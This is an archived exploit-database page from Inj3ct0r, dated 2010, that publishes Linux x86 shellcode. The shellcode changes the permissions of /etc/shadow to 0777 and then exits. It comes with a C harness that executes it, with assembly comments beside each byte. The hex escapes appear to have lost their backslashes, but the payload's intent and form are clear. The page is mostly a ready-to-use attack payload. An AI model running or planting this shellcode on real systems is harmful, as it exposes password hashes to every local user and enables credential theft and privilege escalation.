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linux/x86 change mode 0777 of "/etc/shadow" sys_ch

Posted on 01 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 change mode 0777 of &quot;/etc/shadow&quot; sys_chmod syscall 39 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>===========================================================================
linux/x86 change mode 0777 of &quot;/etc/shadow&quot; with sys_chmod syscall 39 bytes
===========================================================================


/*
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /'             __  /'__`        / \__  /'__`                   0
0  /\_,     ___   /\_/\_      ___  ,_/ /   _ ___           1
1  /_/  /' _ ` / /_/_\_&lt;_  /'___  /    /`'__          0
0       / /    /   / \__/  \_  \_   /           1
1       \_ \_ \_\_   \____/ \____\ \__\ \____/ \_           0
0       /_//_//_/ \_ /___/  /____/ /__/ /___/  /_/           1
1                   \____/ &gt;&gt; Exploit database separated by exploit   0
0                   /___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1               #########################################              1
0               I'm gunslinger_ member from Inj3ct0r Team              1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
/*
Title  : change mode 0777 of &quot;/etc/shadow&quot; with sys_chmod syscall
Name   : 39 bytes sys_chmod(&quot;/etc/shadow&quot;,599) x86 linux shellcode
Date   : jun, 1 2010
Author : gunslinger_ &lt;yudha.gunslinger[at]gmail.com&gt;
Web    : devilzc0de.com
blog   : gunslingerc0de.wordpress.com
tested on : linux debian
*/

#include &lt;stdio.h&gt;

char *shellcode=
 &quot;xebx15&quot;                    /* jmp    0x8048077 */
 &quot;x31xc0&quot;                    /* xor    %eax,%eax */
 &quot;xb0x0f&quot;                    /* mov    $0xf,%al */
 &quot;x5b&quot;                        /* pop    %ebx */
 &quot;x31xc9&quot;                    /* xor    %ecx,%ecx */
 &quot;x66xb9xffx01&quot;            /* mov    $0x1ff,%cx */
 &quot;xcdx80&quot;                    /* int    $0x80 */
 &quot;x31xc0&quot;                    /* xor    %eax,%eax */
 &quot;xb0x01&quot;                    /* mov    $0x1,%al */
 &quot;x31xdb&quot;                    /* xor    %ebx,%ebx */
 &quot;xcdx80&quot;                    /* int    $0x80 */
 &quot;xe8xe6xffxffxff&quot;        /* call   0x8048062 */
 &quot;x2f&quot;                        /* das     */
 &quot;x65&quot;                        /* gs */
 &quot;x74x63&quot;                    /* je     0x80480e3 */
 &quot;x2f&quot;                        /* das     */
 &quot;x73x68&quot;                    /* jae    0x80480eb */
 &quot;x61&quot;                        /* popa    */
 &quot;x64x6f&quot;                    /* outsl  %fs &quot;(%esi),(%dx) */
 &quot;x77&quot;;                        /* .byte 0x77 */

int main(void)
{
		fprintf(stdout,&quot;Length: %d
&quot;,strlen(shellcode));
		((void (*)(void)) shellcode)();
		return 0;
}



# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-01]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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